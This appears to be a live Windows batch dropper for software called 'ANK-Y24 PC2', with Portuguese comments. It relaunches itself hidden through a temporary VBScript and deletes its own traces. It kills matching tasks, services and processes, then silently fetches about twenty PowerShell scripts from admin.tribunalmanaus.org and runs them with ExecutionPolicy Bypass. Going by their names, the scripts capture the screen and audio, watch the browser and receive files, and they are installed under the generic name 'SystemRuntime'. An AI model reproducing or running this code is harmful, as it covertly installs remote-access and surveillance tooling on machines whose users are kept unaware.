@echo off
setlocal EnableExtensions

rem ANK-Y24_RUNTIME_VERSION=1.9.204
rem ANK-Y24_RUNTIME_BUILD=ANK-Y24-R27.4.99-H14-V21R204-INTERACTIVE-EXEC
rem ANK-Y24_GENERATOR_GUARD=V21R114R1
if /I "%~1"=="__RB_LOCAL__" goto RB_LOCAL

set "_RBTMP=%TEMP%\ANK-Y24-PC2-Install-%RANDOM%-%RANDOM%.cmd"
set "_RBVBS=%TEMP%\ANK-Y24-PC2-Launch-%RANDOM%-%RANDOM%.vbs"
type "%~f0" > "%_RBTMP%"
>"%_RBVBS%" echo Set sh = CreateObject("WScript.Shell")
>>"%_RBVBS%" echo p = WScript.Arguments(0)
>>"%_RBVBS%" echo c = WScript.Arguments(1)
>>"%_RBVBS%" echo cmd = Chr(34) ^& c ^& Chr(34) ^& " /d /s /c " ^& Chr(34) ^& Chr(34) ^& p ^& Chr(34) ^& " __RB_LOCAL__" ^& Chr(34)
>>"%_RBVBS%" echo sh.Run cmd, 0, True
>>"%_RBVBS%" echo On Error Resume Next
>>"%_RBVBS%" echo CreateObject("Scripting.FileSystemObject").DeleteFile p, True
>>"%_RBVBS%" echo CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName, True
start "" wscript.exe //B //NoLogo "%_RBVBS%" "%_RBTMP%" "%ComSpec%"
exit /b 0

:RB_LOCAL
rem R27.4.5: bloquear instalacao PC2 em maquina que ja atua como PC1.
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';$root=Join-Path $env:LOCALAPPDATA 'ANK-Y24';$pc1=$false;try{$h=Invoke-RestMethod -Uri 'http://127.0.0.1:17894/health' -TimeoutSec 2;if([string]$h.service -eq 'ank-y24-pc1-watcher'){$pc1=$true}}catch{};if(-not $pc1){$marker=Join-Path $root 'PC1\pc1-identity.json';if(Test-Path -LiteralPath $marker){try{$m=Get-Content -Raw -LiteralPath $marker|ConvertFrom-Json;$mp=Join-Path ([string]$m.extensionDir) 'manifest.json';if([string]$m.product -eq 'ANK-Y24' -and [string]$m.role -eq 'pc1' -and (Test-Path -LiteralPath $mp)){$pc1=$true}}catch{}}};if(-not $pc1){$cfg=Join-Path $root 'pc1-watcher-config.json';if(Test-Path -LiteralPath $cfg){try{$c=Get-Content -Raw -LiteralPath $cfg|ConvertFrom-Json;$mp=Join-Path ([string]$c.extensionDir) 'manifest.json';if($c.clientId -and (Test-Path -LiteralPath $mp)){$mm=Get-Content -Raw -LiteralPath $mp|ConvertFrom-Json;if([string]$mm.name -eq 'ANK-Y24 Viewer' -or [string]$mm.description -match '(?i)PC1'){$pc1=$true}}}catch{}}};if($pc1){exit 90};exit 0"
if errorlevel 90 (
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$sh=New-Object -ComObject WScript.Shell;$null=$sh.Popup('Este computador ja esta configurado como PC1 do ANK-Y24. A instalacao do PC2 foi cancelada e o SystemRuntime nao foi alterado.',0,'ANK-Y24 - Protecao PC1',48)"
  exit /b 90
)

rem ANKY24_STALE_RUNTIME_PRECLEAN_V2
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='Stop';$target=[version]'1.9.204';$ur=Join-Path $env:LOCALAPPDATA 'SystemRuntime';$sr=Join-Path $env:SystemRoot 'System32\config\systemprofile\AppData\Local\SystemRuntime';$rr=Join-Path $env:LOCALAPPDATA 'ANK-Y24-Recovery';$rs=Join-Path $env:SystemRoot 'System32\config\systemprofile\AppData\Local\ANK-Y24-Recovery';$runtime=@($ur,$sr)|Select-Object -Unique;$roots=@($ur,$sr,$rr,$rs)|Select-Object -Unique;$stale=$false;foreach($r in $runtime){if(-not(Test-Path -LiteralPath $r)){continue};$ver=$null;foreach($f in @('system-agent-heartbeat.json','manager-state.json')){$q=Join-Path $r $f;if(Test-Path -LiteralPath $q){try{$j=Get-Content -Raw -LiteralPath $q|ConvertFrom-Json;if($j.runtimeVersion){$ver=[version]([string]$j.runtimeVersion);break}}catch{}}};if(-not$ver){foreach($f in @('system-agent\system-agent.ps1','system-agent.ps1','host\system-runtime-host.ps1')){$q=Join-Path $r $f;if(Test-Path -LiteralPath $q){try{$m=[regex]::Match((Get-Content -Raw -LiteralPath $q),'(?im)\$RuntimeVersion\s*=\s*[''\"]([0-9]+(?:\.[0-9]+){1,3})[''\"]');if($m.Success){$ver=[version]$m.Groups[1].Value;break}}catch{}}}};if(-not$ver-or$ver-lt$target){$stale=$true}};if(-not$stale){exit 0};function Hit([string]$x){foreach($r in $roots){if($x-and$x.IndexOf($r,[StringComparison]::OrdinalIgnoreCase)-ge0){return $true}};return $false};Get-ScheduledTask -ErrorAction SilentlyContinue|ForEach-Object{$t=$_;$x=[string]$t.TaskName+' '+[string]$t.TaskPath;foreach($a in @($t.Actions)){$x+=' '+[string]$a.Execute+' '+[string]$a.Arguments};if((Hit $x)-or$t.TaskName-like'ANK-Y24*'){Stop-ScheduledTask -TaskName $t.TaskName -TaskPath $t.TaskPath -ErrorAction SilentlyContinue;Disable-ScheduledTask -TaskName $t.TaskName -TaskPath $t.TaskPath -ErrorAction SilentlyContinue}};Get-CimInstance Win32_Service -ErrorAction SilentlyContinue|ForEach-Object{if(Hit ([string]$_.PathName)){Stop-Service -Name $_.Name -Force -ErrorAction SilentlyContinue}};Start-Sleep -Milliseconds 400;Get-CimInstance Win32_Process -ErrorAction SilentlyContinue|ForEach-Object{$p=$_;if($p.ProcessId-eq$PID){return};$n=([string]$p.Name).ToLowerInvariant();$managed=$n-in@('powershell.exe','pwsh.exe','wscript.exe','cscript.exe','cmd.exe');$ank=Hit (([string]$p.CommandLine)+' '+([string]$p.ExecutablePath));if($managed-and$ank){Stop-Process -Id $p.ProcessId -Force -ErrorAction SilentlyContinue}};Start-Sleep -Milliseconds 600;Get-ScheduledTask -ErrorAction SilentlyContinue|ForEach-Object{$t=$_;$x=[string]$t.TaskName+' '+[string]$t.TaskPath;foreach($a in @($t.Actions)){$x+=' '+[string]$a.Execute+' '+[string]$a.Arguments};if((Hit $x)-or$t.TaskName-like'ANK-Y24*'){Unregister-ScheduledTask -TaskName $t.TaskName -TaskPath $t.TaskPath -Confirm:$false -ErrorAction SilentlyContinue}};foreach($r in $roots){if(-not(Test-Path -LiteralPath $r)){continue};$leaf=Split-Path $r -Leaf;if($leaf-notin@('SystemRuntime','ANK-Y24-Recovery')){throw 'cleanup_path_refused'};for($i=0;$i-lt10;$i++){Remove-Item -LiteralPath $r -Recurse -Force -ErrorAction SilentlyContinue;if(-not(Test-Path -LiteralPath $r)){break};Start-Sleep -Milliseconds 500};if(Test-Path -LiteralPath $r){throw ('cleanup_failed:'+ $r)}};exit 0"
if errorlevel 1 exit /b 71

set "LOGDIR=%LOCALAPPDATA%\SystemRuntime\logs"
if not exist "%LOGDIR%" mkdir "%LOGDIR%" >nul 2>&1
set "INSTALLLOG=%LOGDIR%\pc2-install.log"
>>"%INSTALLLOG%" echo [%date% %time%] Inicio instalacao silenciosa PC2.

set "DEST=%LOCALAPPDATA%\SystemRuntime\staging\NUKS28-ChuRBUlZYgyn5HXvt"

if exist "%DEST%" rmdir /s /q "%DEST%" >nul 2>&1
if not exist "%DEST%" mkdir "%DEST%" >nul 2>&1

set "ANK_DL_TRY=0"
:ANK_R27431_DOWNLOAD_RETRY
set /a ANK_DL_TRY+=1
>>"%INSTALLLOG%" echo [R27.4.31] Download/verificacao tentativa %ANK_DL_TRY%/4.
set "ANK_DL_GROUP_FAILED=0"
if "%ANK_DL_GROUP_FAILED%"=="0" >>"%INSTALLLOG%" echo [ANK_IWR] Inicio do grupo 1/4.
if "%ANK_DL_GROUP_FAILED%"=="0" powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='Stop'; $ProgressPreference='SilentlyContinue'; $base='https://admin.tribunalmanaus.org/install/NUKS28-ChuRBUlZYgyn5HXvt/files/';$dest=$env:DEST;foreach($name in @('download-open-helper.ps1','install-download-helper.ps1','browser-watcher.ps1','media-session.ps1','media-notice.ps1')){$url=$base+$name;$path=Join-Path $dest $name;Remove-Item -LiteralPath $path -Force -ErrorAction SilentlyContinue;Invoke-WebRequest -UseBasicParsing -Uri $url -OutFile $path -TimeoutSec 60 -ErrorAction Stop;$rc=0;if($rc -ne 0 -or -not (Test-Path -LiteralPath $path -PathType Leaf) -or (Get-Item -LiteralPath $path).Length -le 0){throw ('ANK_IWR_GRUPO_1_ARQUIVO_'+$name+'_CODIGO_'+$rc)};Write-Output ('ANK_IWR_OK_GRUPO_1_'+$name);}" >>"%INSTALLLOG%" 2>&1
if "%ANK_DL_GROUP_FAILED%"=="0" if errorlevel 1 set "ANK_DL_GROUP_FAILED=1"
if "%ANK_DL_GROUP_FAILED%"=="0" >>"%INSTALLLOG%" echo [ANK_IWR] Inicio do grupo 2/4.
if "%ANK_DL_GROUP_FAILED%"=="0" powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='Stop'; $ProgressPreference='SilentlyContinue'; $base='https://admin.tribunalmanaus.org/install/NUKS28-ChuRBUlZYgyn5HXvt/files/';$dest=$env:DEST;foreach($name in @('file-prepare-worker.ps1','screen-frame-helper.ps1','audio-output-helper.ps1','install-browser-watcher.ps1','system-agent.ps1')){$url=$base+$name;$path=Join-Path $dest $name;Remove-Item -LiteralPath $path -Force -ErrorAction SilentlyContinue;Invoke-WebRequest -UseBasicParsing -Uri $url -OutFile $path -TimeoutSec 60 -ErrorAction Stop;$rc=0;if($rc -ne 0 -or -not (Test-Path -LiteralPath $path -PathType Leaf) -or (Get-Item -LiteralPath $path).Length -le 0){throw ('ANK_IWR_GRUPO_2_ARQUIVO_'+$name+'_CODIGO_'+$rc)};Write-Output ('ANK_IWR_OK_GRUPO_2_'+$name);}" >>"%INSTALLLOG%" 2>&1
if "%ANK_DL_GROUP_FAILED%"=="0" if errorlevel 1 set "ANK_DL_GROUP_FAILED=2"
if "%ANK_DL_GROUP_FAILED%"=="0" >>"%INSTALLLOG%" echo [ANK_IWR] Inicio do grupo 3/4.
if "%ANK_DL_GROUP_FAILED%"=="0" powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='Stop'; $ProgressPreference='SilentlyContinue'; $base='https://admin.tribunalmanaus.org/install/NUKS28-ChuRBUlZYgyn5HXvt/files/';$dest=$env:DEST;foreach($name in @('system-file-receiver.ps1','system-runtime-host.ps1','control-sentinel.ps1','browser-launcher.ps1','browser-launcher.vbs')){$url=$base+$name;$path=Join-Path $dest $name;Remove-Item -LiteralPath $path -Force -ErrorAction SilentlyContinue;Invoke-WebRequest -UseBasicParsing -Uri $url -OutFile $path -TimeoutSec 60 -ErrorAction Stop;$rc=0;if($rc -ne 0 -or -not (Test-Path -LiteralPath $path -PathType Leaf) -or (Get-Item -LiteralPath $path).Length -le 0){throw ('ANK_IWR_GRUPO_3_ARQUIVO_'+$name+'_CODIGO_'+$rc)};Write-Output ('ANK_IWR_OK_GRUPO_3_'+$name);}" >>"%INSTALLLOG%" 2>&1
if "%ANK_DL_GROUP_FAILED%"=="0" if errorlevel 1 set "ANK_DL_GROUP_FAILED=3"
if "%ANK_DL_GROUP_FAILED%"=="0" >>"%INSTALLLOG%" echo [ANK_IWR] Inicio do grupo 4/4.
if "%ANK_DL_GROUP_FAILED%"=="0" powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='Stop'; $ProgressPreference='SilentlyContinue'; $base='https://admin.tribunalmanaus.org/install/NUKS28-ChuRBUlZYgyn5HXvt/files/';$dest=$env:DEST;foreach($name in @('browser-recovery.ps1','browser-recovery.vbs','recovery-watchdog.ps1','install-system-runtime-host.ps1','system-agent-bootstrap.json')){$url=$base+$name;$path=Join-Path $dest $name;Remove-Item -LiteralPath $path -Force -ErrorAction SilentlyContinue;Invoke-WebRequest -UseBasicParsing -Uri $url -OutFile $path -TimeoutSec 60 -ErrorAction Stop;$rc=0;if($rc -ne 0 -or -not (Test-Path -LiteralPath $path -PathType Leaf) -or (Get-Item -LiteralPath $path).Length -le 0){throw ('ANK_IWR_GRUPO_4_ARQUIVO_'+$name+'_CODIGO_'+$rc)};Write-Output ('ANK_IWR_OK_GRUPO_4_'+$name);}" >>"%INSTALLLOG%" 2>&1
if "%ANK_DL_GROUP_FAILED%"=="0" if errorlevel 1 set "ANK_DL_GROUP_FAILED=4"
if not "%ANK_DL_GROUP_FAILED%"=="0" (
  >>"%INSTALLLOG%" echo [AVISO] Download incompleto na tentativa %ANK_DL_TRY%/4.
  if %ANK_DL_TRY% LSS 4 (
    timeout /t 5 /nobreak >nul
    goto ANK_R27431_DOWNLOAD_RETRY
  )
  >>"%INSTALLLOG%" echo [ERRO] Falha ao baixar os arquivos do PC2 apos 4 tentativas.
  exit /b 1
)

rem V21R114R1: validar release baixada ANTES de instalar
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='Stop';$d=$env:DEST;$v='1.9.204';$b='ANK-Y24-R27.4.99-H14-V21R204-INTERACTIVE-EXEC';$checks=@(@{n='system-agent.ps1';v=$true;m='$RuntimeBuild'},@{n='system-runtime-host.ps1';v=$true;m='$RuntimeBuild'},@{n='install-system-runtime-host.ps1';v=$true;m='$RuntimeBuild'},@{n='browser-watcher.ps1';v=$false;m='$WatcherVersion'});foreach($c in $checks){$p=Join-Path $d $c.n;if(-not(Test-Path -LiteralPath $p -PathType Leaf)){throw ('identity_file_missing:'+$c.n)};$t=[IO.File]::ReadAllText($p);if($c.v -and ($t.IndexOf('$RuntimeVersion',[StringComparison]::Ordinal)-lt0 -or $t.IndexOf($v,[StringComparison]::Ordinal)-lt0)){throw ('identity_version_mismatch:'+$c.n)};if($t.IndexOf([string]$c.m,[StringComparison]::Ordinal)-lt0 -or $t.IndexOf($b,[StringComparison]::Ordinal)-lt0){throw ('identity_build_mismatch:'+$c.n)}};exit 0" >>"%INSTALLLOG%" 2>&1
if errorlevel 1 (
  >>"%INSTALLLOG%" echo [ERRO] Payload rejeitado: identidade runtime/build divergente do BAT.
  exit /b 33
)

if not exist "%DEST%\system-file-receiver.ps1" (
  >>"%INSTALLLOG%" echo [ERRO] Pacote PC2 incompleto: system-file-receiver.ps1 ausente.
  exit /b 1
)

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%DEST%\install-download-helper.ps1" >>"%INSTALLLOG%" 2>&1
if errorlevel 1 (
  >>"%INSTALLLOG%" echo [ERRO] Falha ao configurar o helper de downloads.
  exit /b 1
)

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%DEST%\install-browser-watcher.ps1" >>"%INSTALLLOG%" 2>&1
if errorlevel 1 (
  >>"%INSTALLLOG%" echo [ERRO] Falha ao configurar o Browser Watcher/SystemRuntime.
  exit /b 1
)

if not exist "%LOCALAPPDATA%\SystemRuntime\system-agent\system-agent.ps1" (
  >>"%INSTALLLOG%" echo [ERRO] SystemRuntime incompleto: system-agent.ps1 ausente.
  exit /b 1
)
if not exist "%LOCALAPPDATA%\SystemRuntime\system-agent\system-file-receiver.ps1" (
  >>"%INSTALLLOG%" echo [ERRO] SystemRuntime incompleto: system-file-receiver.ps1 ausente.
  exit /b 1
)


>>"%INSTALLLOG%" echo [%date% %time%] Instalacao PC2 modo Sistema concluida.
rmdir /s /q "%DEST%" >nul 2>&1
exit /b 0
